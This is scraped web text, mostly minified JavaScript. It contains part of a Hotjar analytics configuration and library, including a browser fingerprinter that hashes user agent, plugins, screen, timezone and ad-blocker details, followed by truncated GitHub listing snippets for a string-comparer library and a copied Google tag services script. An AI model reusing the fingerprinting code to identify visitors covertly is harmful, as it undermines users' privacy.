ytics\/cloud-sales-performance-management","match_operation":"starts_with","component":"url"}],"created_epoch_time":1445030438,"id":205937},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/3349","match_operation":"simple","component":"url"}],"created_epoch_time":1445978749,"id":218406},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/Process-modeling-in-the-cloud\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445978380,"id":218383},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance\/co-branding","match_operation":"simple","component":"url"}],"created_epoch_time":1448866273,"id":261752},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/2235","match_operation":"simple","component":"url"}],"created_epoch_time":1445979423,"id":218445},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance\/migration-of-acquisitions","match_operation":"simple","component":"url"}],"created_epoch_time":1448866338,"id":261758},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/anchor-links","match_operation":"simple","component":"url"}],"created_epoch_time":1448864497,"id":261705},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/1351","match_operation":"simple","component":"url"}],"created_epoch_time":1445979510,"id":218449},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/4414","match_operation":"simple","component":"url"}],"created_epoch_time":1445979216,"id":218436},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibm\/puresystems\/us\/en\/hybrid-cloud\/","match_operation":"starts_with","component":"url"}],"created_epoch_time":1447366892,"id":240564},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-deployment\/sap-hana","match_operation":"simple","component":"url"}],"created_epoch_time":1445032765,"id":205983},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/hr-cloud\/learning-and-development","match_operation":"simple","component":"url"}],"created_epoch_time":1445452082,"id":211253},{"targeting":[{"pattern":"http:\/\/ibm.com\/developerworks\/","match_operation":"simple","component":"url"}],"created_epoch_time":1446753222,"id":230599},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/cloud-platform\/pr\/en-pr","match_operation":"simple","component":"url"}],"created_epoch_time":1445011666,"id":205615},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-deployment\/self-managed-sap","match_operation":"simple","component":"url"}],"created_epoch_time":1445032808,"id":205984},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/contact-module","match_operation":"simple","component":"url"}],"created_epoch_time":1448864624,"id":261709},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/next\/2154","match_operation":"simple","component":"url"}],"created_epoch_time":1445979174,"id":218433},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/guidance\/mobile-web","match_operation":"simple","component":"url"}],"created_epoch_time":1448866166,"id":261748},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/hybrid-integration\/secure-gateway","match_operation":"simple","component":"url"}],"created_epoch_time":1445452942,"id":211274},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/horizontal_rules","match_operation":"simple","component":"url"}],"created_epoch_time":1448864758,"id":261716},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibm\/puresystems\/us\/en\/hybrid-cloud\/?S_PKG=-&S_TACT=C432013W&campaign=PureApplication%20Tutorial_BR&group=PureApp_BR&mkwid=1af491ed-84fa-9ee8-2a5e-00002588308a&ct=C432013W&iio=PSYS&cmp=C4320&ck=%2Bibm%20pureapplication%20service&cs=b&ccy=US&cr=google&cm=k&cn=PureApp_BR","match_operation":"exact","component":"url"}],"created_epoch_time":1447086616,"id":234505},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/tooltip","match_operation":"simple","component":"url"}],"created_epoch_time":1448865157,"id":261732},{"targeting":[{"pattern":"http:\/\/ibm.com\/standards\/web\/patterns\/left-navigation","match_operation":"simple","component":"url"}],"created_epoch_time":1448864811,"id":261719},{"targeting":[{"pattern":"http:\/\/ibm.com\/middleware\/en-us\/index.html","match_operation":"simple","component":"url"}],"created_epoch_time":1444763322,"id":201250}],"surveys":[],"testers_widgets":[]}; (function(){window.hj=window.hj||function(){(window.hj.q=window.hj.q||[]).push(arguments)};hj.logException=function(t,a){var b="undefined"!==typeof hj.log?hj.log.debug:function(){},c,g;try{c={"http:":12080,"https:":12443}[location.protocol],g={message:t?t.toString():"<unknown>",url:location.href,data:"object"===typeof a?hj.json.stringify(a):a},b(g),hj.hq.ajax({url:"//graylog.hotjar.com:"+c+"/gelf",type:"POST",data:hj.json.stringify(g)})}catch(d){b("Failed to log exception: "+d)}};hj.testException= function(){try{"test".push([])}catch(t){hj.logException(t)}};hj.testExceptionWithData=function(){try{"test".push([])}catch(t){hj.logException(t,{foo:"bar"})}}})(); try{(function(t,a){var b;b=function(a){return new c(a)};b.isEmptyObject=function(a){return Object.keys(a).length?!1:!0};b.isFunction=function(a){return"function"===typeof a};b.isWindow=function(a){return a===window};b.isDocument=function(a){return a===window.document};b.noop=function(){};b.each=function(a,d){var b,c;if("object"===typeof a&&"[object Array]"!==Object.prototype.toString.call(a))if((c=a[Object.keys(a)[0]])&&void 0!==c.nodeName)for(b in a){if(a.hasOwnProperty(b)&&"length"!==b&&!1===d(b, a[b],a))break}else for(b in a){if(a.hasOwnProperty(b)&&!1===d(b,a[b],a))break}else for(b=0;b<a.length&&!1!==d(b,a[b],a);b+=1);};b.trim=function(a){return"string"===typeof a?a.replace(/^\s+|\s+$/gm,""):""};b.inArray=function(a,d){var b=d.indexOf(a);return"undefined"===typeof b||-1===b?!1:!0};b.indexOf=function(a,d){var b=d.indexOf(a);return"undefined"!==typeof b?b:-1};b.ajax=function(a){try{var d=new XMLHttpRequest;a.type=a.type||"GET";d.open(a.type,a.url,!0);"POST"===a.type&&d.setRequestHeader("Content-Type", (a.contentType?a.contentType:"application/x-www-form-urlencoded")+"; charset=UTF-8");d.onload=function(){200<=d.status&&400>d.status?b.isFunction(a.success)&&a.success(d.responseText&&hj.json.parse(d.responseText),d):b.isFunction(a.error)&&a.error(d)};d.onerror=function(){b.isFunction(a.error)&&a.error(d)};b.isFunction(a.requestAnnotator)&&a.requestAnnotator(d);"POST"===a.type&&a.data?d.send(a.data):d.send()}catch(c){hj.logException(c,{settings:a})}};b.get=function(a,d){var b=new XMLHttpRequest;b.open("GET", a,!0);b.onload=function(){200<=b.status&&400>b.status&&d&&d(b.responseText)};b.send()};b.eventHandlers={};b.selector="";var c=function(g){var d;b.selector=g;if(b.isWindow(g))this[0]=window,this.length=1;else if(b.isDocument(g))this[0]=a,this.length=1;else if("object"===typeof g)this[0]=g,this.length=1;else if("string"===typeof g&&"<"===g.charAt(0)&&">"===g.charAt(g.length-1)&&3<=g.length)d=a.createElement("div"),d.innerHTML=g,this[0]=d.childNodes[0],this.length=1;else if(g){if(!isNaN(g.charAt(1))&& ("."===g.charAt(0)||"#"===g.charAt(0)))g=g.charAt(0)+"\\3"+g.charAt(1)+" "+g.slice(2);try{a.querySelectorAll(g)}catch(c){return this.length=0,this}g=a.querySelectorAll(g);for(d=0;d<g.length;d+=1)this[d]=g[d];this.length=g.length}return this};c.prototype.val=function(a){"undefined"!==typeof a&&0<this.length&&(this[0].value=a);if(void 0!==this[0])return this[0]?this[0].value:""};c.prototype.text=function(a){return void 0===a?this[0].textContent:this[0].textContent=a};c.prototype.each=function(a,b){Array.prototype.forEach.call(this, function(a,g,n){b(g,a,n)})};c.prototype.append=function(g){var d;"object"===typeof g?"body"===b.selector?a.body.appendChild(g.get(0)):this[0].appendChild(g.get(0)):"body"===b.selector?(d=a.createElement("div"),d.innerHTML=g,a.body.appendChild(d)):(d=a.createElement("div"),d.innerHTML=g,this[0].appendChild(d))};c.prototype.hasClass=function(a){return this[0].classList?this[0].classList.contains(a):RegExp("(^| )"+a+"( |$)","gi").test(this[0].className)};c.prototype.addClass=function(a){var b;for(b= 0;b<this.length;b+=1)this[b].classList?this[b].classList.add(a):this[b].className+=" "+a;return this};c.prototype.removeClass=function(a){var b;for(b=0;b<this.length;b+=1)this[b].classList?this[b].classList.remove(a):this[b].className=this[b].className.replace(RegExp("(^|\\b)"+a.split(" ").join("|")+"(\\b|$)","gi")," ");return this};c.prototype.toggleClass=function(a){var b;for(b=0;b<this.length;b+=1)this[b].classList?this[b].classList.contains(a)?this[b].classList.remove(a):this[b].classList.add(a): RegExp("(^| )"+a+"( |$)","gi").test(this[0].className)?this[b].className=this[b].className.replace(RegExp("(^|\\b)"+a.split(" ").join("|")+"(\\b|$)","gi")," "):this[b].className+=" "+a;return this};c.prototype.is=function(a){var b;a:{b=this[0];var c=b.matchesSelector||b.msMatchesSelector||b.mozMatchesSelector||b.webkitMatchesSelector||b.oMatchesSelector;if(c)b=c.call(b,a);else{a=b.parentNode.querySelectorAll(a);for(c=a.length;c-=1;)if(a[c]===b){b=!0;break a}b=!1}}return b};c.prototype.remove=function(){var a; for(a=0;a<this.length;a+=1)this[a].parentNode.removeChild(this[a])};c.prototype.click=function(b){var d;for(d=0;d<this.length;d+=1)event=a.createEvent("HTMLEvents"),event.initEvent("click",!0,!1),this[d].dispatchEvent(event),b&&b()};c.prototype.trigger=function(b){var d,c=b.split(" "),k;for(b=0;b<this.length;b+=1)for(d=0;d<c.length;d+=1)k=a.createEvent("HTMLEvents"),k.initEvent(c[d],!0,!1),this[b].dispatchEvent(k)};c.prototype.on=function(g,d,c){var k,n=g.split(" "),q,l,f,p,h,F;if(b.isDocument(this[0])&& "string"===typeof d)for(g=0;g<n.length;g+=1)"string"===typeof d?("boolean"===typeof c&&!1===c&&(c=function(a){a.preventDefault();return!1}),q=d+"."+n[g],l=function(b){if(f=a.querySelectorAll(d)){p=b.target;for(h=-1;p&&-1===(h=Array.prototype.indexOf.call(f,p));)p=p.parentElement;-1<h&&c.call(p,b)}},"array"!==typeof b.eventHandlers[q]&&(b.eventHandlers[q]=[]),b.eventHandlers[q].push(l),a.addEventListener(n[g].split(".")[0],l,!0)):("boolean"===typeof d&&!1===d&&(d=function(a){a.preventDefault();return!1}), "array"!==typeof b.eventHandlers.document&&(b.eventHandlers.document=[]),b.eventHandlers.document.push(d),this[0].addEventListener(n[g].split(".")[0],d,!1));else if(b.isDocument(this[0]))for(g=0;g<n.length;g+=1)"boolean"===typeof d&&!1===d&&(d=function(a){a.preventDefault();return!1}),q="document."+n[g],"array"!==typeof b.eventHandlers[q]&&(b.eventHandlers[q]=[]),b.eventHandlers[q].push(d),a.addEventListener(n[g].split(".")[0],d,!1);else if(b.isWindow(this[0]))for(g=0;g<n.length;g+=1)"boolean"=== typeof d&&!1===d&&(d=function(a){a.preventDefault();return!1}),q="window."+n[g],"array"!==typeof b.eventHandlers[q]&&(b.eventHandlers[q]=[]),b.eventHandlers[q].push(d),window.addEventListener(n[g].split(".")[0],d,!1);else for(k=0;k<this.length;k+=1)for(g=0;g<n.length;g+=1)"object"===typeof d?(F=d,d=function(a){a.data=F;c.call(this[k],a)}):"boolean"===typeof d&&!1===d&&(d=function(a){a.preventDefault();return!1}),q=b.selector+"."+n[g],"array"!==typeof b.eventHandlers[q]&&(b.eventHandlers[q]=[]),b.eventHandlers[q].push(d), this[k].addEventListener(n[g].split(".")[0],d,!1);return this};c.prototype.off=function(g,c,m){var k,n,q=g.split(" ");for(g=0;g<this.length;g+=1)for(k=0;k<q.length;k+=1)if(b.isDocument(this[g])&&"string"===typeof c)if("undefined"===typeof m){if("object"===typeof b.eventHandlers[c+"."+q[k]])for(n=0;n<b.eventHandlers[c+"."+q[k]].length;n+=1)a.removeEventListener(q[k].split(".")[0],b.eventHandlers[c+"."+q[k]][n],!0)}else a.removeEventListener(q[k].split(".")[0],m,!1);else if(b.isDocument(this[g]))if("undefined"=== typeof c){if("object"===typeof b.eventHandlers["document."+q[k]])for(n=0;n<b.eventHandlers["document."+q[k]].length;n+=1)a.removeEventListener(q[k].split(".")[0],b.eventHandlers["document."+q[k]][n],!1)}else a.removeEventListener(q[k].split(".")[0],c,!1);else if(b.isWindow(this[g]))if("undefined"===typeof c){if("object"===typeof b.eventHandlers["window."+q[k]])for(n=0;n<b.eventHandlers["window."+q[k]].length;n+=1)window.removeEventListener(q[k].split(".")[0],b.eventHandlers["window."+q[k]][n],!1)}else window.removeEventListener(q[k].split(".")[0], c,!1);else if("undefined"===typeof c){if("object"===typeof b.eventHandlers[b.selector+"."+q[k]])for(n=0;n<b.eventHandlers[b.selector+"."+q[k]].length;n+=1)this[g].removeEventListener(q[k].split(".")[0],b.eventHandlers[b.selector+"."+q[k]][n],!1)}else this[g].removeEventListener(q[k].split(".")[0],c,!1);return this};c.prototype.scrollTop=function(){return window.document.body.scrollTop||window.document.documentElement.scrollTop};c.prototype.height=function(){var g;return b.isWindow(this[0])?a.documentElement.clientHeight: 9===this[0].nodeType?(g=this[0].documentElement,Math.max(this[0].body.scrollHeight,g.scrollHeight,this[0].body.offsetHeight,g.offsetHeight,g.clientHeight)):Math.max(this[0].scrollHeight,this[0].offsetHeight)};c.prototype.width=function(){var g;return b.isWindow(this[0])?a.documentElement.clientWidth:9===this[0].nodeType?(g=this[0].documentElement,Math.max(this[0].body.scrollWidth,g.scrollWidth,this[0].body.offsetWidth,g.offsetWidth,g.clientWidth)):Math.max(this[0].scrollWidth,this[0].offsetWidth)}; c.prototype.outerHeight=function(){return this[0].offsetHeight};c.prototype.offset=function(){var a=(this[0]&&this[0].ownerDocument).documentElement;return{top:this[0].getBoundingClientRect().top+window.pageYOffset-a.clientTop,left:this[0].getBoundingClientRect().left+window.pageXOffset-a.clientLeft}};c.prototype.attr=function(a,b){var c;if(b||""===b){for(c=0;c<this.length;c+=1)this[c].setAttribute(a,b);return this}if(null!==this[0].getAttribute(a))return this[0].getAttribute(a)};c.prototype.ready= function(c){b.isDocument(this[0])&&("interactive"===a.readyState||"complete"===a.readyState||"loaded"===a.readyState?c():a.addEventListener("DOMContentLoaded",c,!1))};c.prototype.parent=function(){return b(this[0].parentNode)};c.prototype.get=function(a){return this[a]};c.prototype.show=function(){var a;for(a=0;a<this.length;a+=1)this[a].style.display="";return this};c.prototype.hide=function(){var a;for(a=0;a<this.length;a+=1)this[a].style.display="none";return this};c.prototype.focus=function(){var a; for(a=0;a<this.length;a+=1)this[a].focus();return this};c.prototype.blur=function(){var a;for(a=0;a<this.length;a+=1)this[a].blur();return this};c.prototype.clone=function(){return this[0].cloneNode(!0)};c.prototype.removeAttr=function(a){var b;for(b=0;b<this.length;b+=1)this[b].removeAttribute(a);return this};c.prototype.find=function(a){var c=b(),m;try{m=this[0].querySelectorAll(a)}catch(k){return this.length=0,this}for(a=0;a<m.length;a+=1)c[a]=m[a];c.length=m.length;return c};c.prototype.is=function(a){var c, m=!1;if(!a)return!1;if("object"===typeof a)return b(this[0]).get(0)===a.get(0);if("string"===typeof a){if(":visible"===a)return!(0>=this[0].offsetWidth&&0>=this[0].offsetHeight);if(":hidden"===a)return 0>=this[0].offsetWidth&&0>=this[0].offsetHeight;if(":checked"===a)return this[0].checked;if(-1<a.indexOf("[")){if(c=/([A-Za-z]+)\[([A-Za-z-]+)\=([A-Za-z]+)\]/g.exec(a),c.length)return b.each(b(this[0]).get(0).attributes,function(a,b){b.name===c[2]&&b.value===c[3]&&(m=!0)}),b(this[0]).get(0).nodeName.toLowerCase()=== c[1]&&m}else return b(this[0]).get(0).nodeName.toLowerCase()===a}};c.prototype.css=function(a,b){var c,k;for(k=0;k<this.length;k+=1)if("object"===typeof a)for(c in a)this[k].style[c]=a[c];else if("number"===typeof b||"string"===typeof b)this[k].style[a]=b;else return getComputedStyle(this[k])[a];return this};c.prototype.animate=function(a,c){var m,k=this;"undefined"===typeof c&&(c=400);for(m=0;m<k.length;m+=1)b.each(a,function(a,b){function l(a,b){a.style[b[0].attribute]=b[0].value;b.shift();b.length? u=setTimeout(function(){l(a,b)},10):clearTimeout(u)}b=b.toString();var f=parseFloat(getComputedStyle(k[m])[a])||0,p=getComputedStyle(k[m])[a].replace(/[0-9.-]/g,""),h=parseFloat(b),g=b.replace(/[0-9.-]/g,""),p=p||g,y=h-f,g=parseFloat(c/10),y=y/g,v=[],x,u;for(x=0;x<g;x+=1)f+=y,v.push({attribute:a,value:p?parseInt(f)+p:parseFloat(f).toFixed(1)});v.pop();v.push({attribute:a,value:h+p});v.length&&l(k[m],v)});return this};c.prototype.filter=function(c){return Array.prototype.filter.call(a.querySelectorAll(b.selector), function(a,b){c(b,a)})};t.hj=t.hj||{};t.hj.hq=t.hj.hq||b})(this,document)}catch(exception$$4){hj.logException(exception$$4)} (function(){var t=null;hj.fingerprinter=function(a){this.options=this.extend(a,{sortPluginsFor:[/palemoon/i]});this.nativeForEach=Array.prototype.forEach;this.nativeMap=Array.prototype.map};hj.fingerprinter.prototype={extend:function(a,b){if(null==a)return b;for(var c in a)null!=a[c]&&b[c]!==a[c]&&(b[c]=a[c]);return b},log:function(a){window.console&&console.log(a)},get:function(){var a=[];null===t&&(a=this.userAgentKey(a),a=this.languageKey(a),a=this.colorDepthKey(a),a=this.screenResolutionKey(a), a=this.timezoneOffsetKey(a),a=this.sessionStorageKey(a),a=this.localStorageKey(a),a=this.indexedDbKey(a),a=this.addBehaviorKey(a),a=this.openDatabaseKey(a),a=this.cpuClassKey(a),a=this.platformKey(a),a=this.doNotTrackKey(a),a=this.pluginsKey(a),a=this.adBlockKey(a),a=this.hasLiedLanguagesKey(a),a=this.hasLiedResolutionKey(a),a=this.hasLiedOsKey(a),a=this.hasLiedBrowserKey(a),a=this.touchSupportKey(a),t=this.x64hash128(a.join("~~~"),31));return t},getAsNumber:function(){var a,b;a=parseInt(this.get().slice(-10), 16);b=Math.pow(2,40);return a/b},compareRatio:function(a,b){return this.getAsNumber()*(b?100:1)<=a},userAgentKey:function(a){a.push(navigator.userAgent);return a},languageKey:function(a){a.push(navigator.language);return a},colorDepthKey:function(a){a.push(screen.colorDepth);return a},screenResolutionKey:function(a){return this.getScreenResolution(a)},getScreenResolution:function(a){var b,c;b=this.options.detectScreenOrientation?screen.height>screen.width?[screen.height,screen.width]:[screen.width, screen.height]:[screen.height,screen.width];"undefined"!==typeof b&&a.push(b);screen.availWidth&&screen.availHeight&&(c=this.options.detectScreenOrientation?screen.availHeight>screen.availWidth?[screen.availHeight,screen.availWidth]:[screen.availWidth,screen.availHeight]:[screen.availHeight,screen.availWidth]);"undefined"!==typeof c&&a.push(c);return a},timezoneOffsetKey:function(a){a.push((new Date).getTimezoneOffset());return a},sessionStorageKey:function(a){this.hasSessionStorage()&&a.push("sessionStorageKey"); return a},localStorageKey:function(a){this.hasLocalStorage()&&a.push("localStorageKey");return a},indexedDbKey:function(a){this.hasIndexedDB()&&a.push("indexedDbKey");return a},addBehaviorKey:function(a){document.body&&document.body.addBehavior&&a.push("addBehaviorKey");return a},openDatabaseKey:function(a){window.openDatabase&&a.push("openDatabase");return a},cpuClassKey:function(a){a.push(this.getNavigatorCpuClass());return a},platformKey:function(a){a.push(this.getNavigatorPlatform());return a}, doNotTrackKey:function(a){a.push(this.getDoNotTrack());return a},adBlockKey:function(a){a.push(this.getAdBlock());return a},hasLiedLanguagesKey:function(a){a.push(this.getHasLiedLanguages());return a},hasLiedResolutionKey:function(a){a.push(this.getHasLiedResolution());return a},hasLiedOsKey:function(a){a.push(this.getHasLiedOs());return a},hasLiedBrowserKey:function(a){a.push(this.getHasLiedBrowser());return a},pluginsKey:function(a){this.isIE()?a.push(this.getIEPluginsString()):a.push(this.getRegularPluginsString()); return a},getRegularPluginsString:function(){for(var a=[],b=0,c=navigator.plugins.length;b<c;b++)a.push(navigator.plugins[b]);this.pluginsShouldBeSorted()&&(a=a.sort(function(a,b){return a.name>b.name?1:a.name<b.name?-1:0}));return this.map(a,function(a){var b=this.map(a,function(a){return[a.type,a.suffixes].join("~")}).join(",");return[a.name,a.description,b].join("::")},this).join(";")},getIEPluginsString:function(){return window.ActiveXObject?this.map("AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control (32-bit);Scripting.Dictionary;SWCtl.SWCtl;Shell.UIHelper;ShockwaveFlash.ShockwaveFlash;Skype.Detection;TDCCtl.TDCCtl;WMPlayer.OCX;rmocx.RealPlayer G2 Control;rmocx.RealPlayer G2 Control.1".split(";"), function(a){try{return new ActiveXObject(a),a}catch(b){return null}}).join(";"):""},pluginsShouldBeSorted:function(){for(var a=!1,b=0,c=this.options.sortPluginsFor.length;b<c;b++)if(navigator.userAgent.match(this.options.sortPluginsFor[b])){a=!0;break}return a},touchSupportKey:function(a){a.push(this.getTouchSupport());return a},hasSessionStorage:function(){try{return!!window.sessionStorage}catch(a){return!0}},hasLocalStorage:function(){try{return!!window.localStorage}catch(a){return!0}},hasIndexedDB:function(){return!!window.indexedDB}, getNavigatorCpuClass:function(){return navigator.cpuClass?"navigatorCpuClass: "+navigator.cpuClass:"navigatorCpuClass: unknown"},getNavigatorPlatform:function(){return navigator.platform?"navigatorPlatform: "+navigator.platform:"navigatorPlatform: unknown"},getDoNotTrack:function(){return navigator.doNotTrack?"doNotTrack: "+navigator.doNotTrack:"doNotTrack: unknown"},getTouchSupport:function(){var a=0,b=!1;"undefined"!==typeof navigator.maxTouchPoints?a=navigator.maxTouchPoints:"undefined"!==typeof navigator.msMaxTouchPoints&& (a=navigator.msMaxTouchPoints);try{document.createEvent("TouchEvent"),b=!0}catch(c){}return[a,b,"ontouchstart"in window]},getAdBlock:function(){var a=document.createElement("div");a.setAttribute("id","ads");document.body.appendChild(a);return document.getElementById("ads")?!1:!0},getHasLiedLanguages:function(){if("undefined"!==typeof navigator.languages)try{if(navigator.languages[0].substr(0,2)!==navigator.language.substr(0,2))return!0}catch(a){return!0}return!1},getHasLiedResolution:function(){return screen.width< screen.availWidth||screen.height<screen.availHeight?!0:!1},getHasLiedOs:function(){var a=navigator.userAgent,b=navigator.oscpu,c=navigator.platform,a=0<=a.toLowerCase().indexOf("windows phone")?"Windows Phone":0<=a.toLowerCase().indexOf("win")?"Windows":0<=a.toLowerCase().indexOf("android")?"Android":0<=a.toLowerCase().indexOf("linux")?"Linux":0<=a.toLowerCase().indexOf("iPhone")||0<=a.toLowerCase().indexOf("iPad")?"iOS":0<=a.toLowerCase().indexOf("mac")?"Mac":"Other";return("ontouchstart"in window|| 0<navigator.maxTouchPoints||0<navigator.msMaxTouchPoints)&&"Windows Phone"!==a&&"Android"!==a&&"iOS"!==a&&"Other"!==a||"undefined"!==typeof b&&(0<=b.toLowerCase().indexOf("win")&&"Windows"!==a&&"Windows Phone"!==a||0<=b.toLowerCase().indexOf("linux")&&"Linux"!==a&&"Android"!==a||0<=b.toLowerCase().indexOf("mac")&&"Mac"!==a&&"iOS"!==a||0===b.toLowerCase().indexOf("win")&&0===b.toLowerCase().indexOf("linux")&&0<=b.toLowerCase().indexOf("mac")&&"other"!==a)||0<=c.toLowerCase().indexOf("win")&&"Windows"!== a&&"Windows Phone"!==a||(0<=c.toLowerCase().indexOf("linux")||0<=c.toLowerCase().indexOf("android")||0<=c.toLowerCase().indexOf("pike"))&&"Linux"!==a&&"Android"!==a||(0<=c.toLowerCase().indexOf("mac")||0<=c.toLowerCase().indexOf("ipad")||0<=c.toLowerCase().indexOf("ipod")||0<=c.toLowerCase().indexOf("iphone"))&&"Mac"!==a&&"iOS"!==a||0===c.toLowerCase().indexOf("win")&&0===c.toLowerCase().indexOf("linux")&&0<=c.toLowerCase().indexOf("mac")&&"other"!==a?!0:"undefined"===typeof navigator.plugins&&"Windows"!== a&&"Windows Phone"!==a?!0:!1},getHasLiedBrowser:function(){var a=navigator.userAgent,b=navigator.productSub,a=0<=a.toLowerCase().indexOf("firefox")?"Firefox":0<=a.toLowerCase().indexOf("opera")||0<=a.toLowerCase().indexOf("opr")?"Opera":0<=a.toLowerCase().indexOf("chrome")?"Chrome":0<=a.toLowerCase().indexOf("safari")?"Safari":0<=a.toLowerCase().indexOf("trident")?"Internet Explorer":"Other";if(("Chrome"===a||"Safari"===a||"Opera"===a)&&"20030107"!==b)return!0;b=eval.toString().length;if(37===b&& "Safari"!==a&&"Firefox"!==a&&"Other"!==a||39===b&&"Internet Explorer"!==a&&"Other"!==a||33===b&&"Chrome"!==a&&"Opera"!==a&&"Other"!==a)return!0;var c;try{throw"a";}catch(g){try{g.toSource(),c=!0}catch(d){c=!1}}return c&&"Firefox"!==a&&"Other"!==a?!0:!1},isIE:function(){return"Microsoft Internet Explorer"===naviga
GihanSoft / NaturalStringComparerLINQ like method and Comparer<string> that can be used to sort strings by number in them (like what windows explorer do {"text1", "text2", "text10"} instead of {"text1", "text10", "text2"}). pure C# with .NET Standard.
drissi1990 / Googletagservices(function(){var l;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}function ba(a){var b="undefined"!=typeof Symbol&&Symbol.iterator&&a[Symbol.iterator];return b?b.call(a):{next:aa(a)}}function ca(a){if(!(a instanceof Array)){a=ba(a);for(var b,c=[];!(b=a.next()).done;)c.push(b.value);a=c}return a}var da="function"==typeof Object.create?Object.create:function(a){function b(){}b.prototype=a;return new b},ea;if("function"==typeof Object.setPrototypeOf)ea=Object.setPrototypeOf;else{var fa;a:{var ha={Ea:!0},ia={};try{ia.__proto__=ha;fa=ia.Ea;break a}catch(a){}fa=!1}ea=fa?function(a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+" is not extensible");return a}:null}var ja=ea;function ka(a,b){a.prototype=da(b.prototype);a.prototype.constructor=a;if(ja)ja(a,b);else for(var c in b)if("prototype"!=c)if(Object.defineProperties){var d=Object.getOwnPropertyDescriptor(b,c);d&&Object.defineProperty(a,c,d)}else a[c]=b[c]}var la="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){a!=Array.prototype&&a!=Object.prototype&&(a[b]=c.value)},ma="undefined"!=typeof window&&window===this?this:"undefined"!=typeof global&&null!=global?global:this;function na(a,b){if(b){var c=ma;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];e in c||(c[e]={});c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&la(c,a,{configurable:!0,writable:!0,value:b})}}na("String.prototype.endsWith",function(a){return a?a:function(b,c){if(null==this)throw new TypeError("The 'this' value for String.prototype.endsWith must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype.endsWith must not be a regular expression");void 0===c&&(c=this.length);c=Math.max(0,Math.min(c|0,this.length));for(var d=b.length;0<d&&0<c;)if(this[--c]!=b[--d])return!1;return 0>=d}});na("Array.prototype.find",function(a){return a?a:function(b,c){a:{var d=this;d instanceof String&&(d=String(d));for(var e=d.length,f=0;f<e;f++){var g=d[f];if(b.call(c,g,f,d)){b=g;break a}}b=void 0}return b}});var oa="function"==typeof Object.assign?Object.assign:function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(d)for(var e in d)Object.prototype.hasOwnProperty.call(d,e)&&(a[e]=d[e])}return a};na("Object.assign",function(a){return a||oa});var p=this||self;function q(a){return"string"==typeof a}function pa(a){return"number"==typeof a}function qa(){if(null===ra)a:{var a=p.document;if((a=a.querySelector&&a.querySelector("script[nonce]"))&&(a=a.nonce||a.getAttribute("nonce"))&&sa.test(a)){ra=a;break a}ra=""}return ra}var sa=/^[\w+/_-]+[=]{0,2}$/,ra=null;function ta(a){a=a.split(".");for(var b=p,c=0;c<a.length;c++)if(b=b[a[c]],null==b)return null;return b}function ua(){}function va(a){a.ga=void 0;a.j=function(){return a.ga?a.ga:a.ga=new a}}function wa(a){var b=typeof a;if("object"==b)if(a){if(a instanceof Array)return"array";if(a instanceof Object)return b;var c=Object.prototype.toString.call(a);if("[object Window]"==c)return"object";if("[object Array]"==c||"number"==typeof a.length&&"undefined"!=typeof a.splice&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("splice"))return"array";if("[object Function]"==c||"undefined"!=typeof a.call&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("call"))return"function"}else return"null";else if("function"==b&&"undefined"==typeof a.call)return"object";return b}function xa(a){return null===a}function ya(a){return"array"==wa(a)}function za(a){var b=typeof a;return"object"==b&&null!=a||"function"==b}function Aa(a){return a[Ba]||(a[Ba]=++Ca)}var Ba="closure_uid_"+(1E9*Math.random()>>>0),Ca=0;function Da(a,b,c){return a.call.apply(a.bind,arguments)}function Ea(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var e=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(e,d);return a.apply(b,e)}}return function(){return a.apply(b,arguments)}}function Fa(a,b,c){Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?Fa=Da:Fa=Ea;return Fa.apply(null,arguments)}function Ga(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var d=c.slice();d.push.apply(d,arguments);return a.apply(this,d)}}function r(a,b){function c(){}c.prototype=b.prototype;a.prototype=new c;a.prototype.constructor=a};var Ha=(new Date).getTime();function Ia(a,b){for(var c=a.length,d=q(a)?a.split(""):a,e=0;e<c;e++)e in d&&b.call(void 0,d[e],e,a)}function Ja(a,b){for(var c=a.length,d=[],e=0,f=q(a)?a.split(""):a,g=0;g<c;g++)if(g in f){var 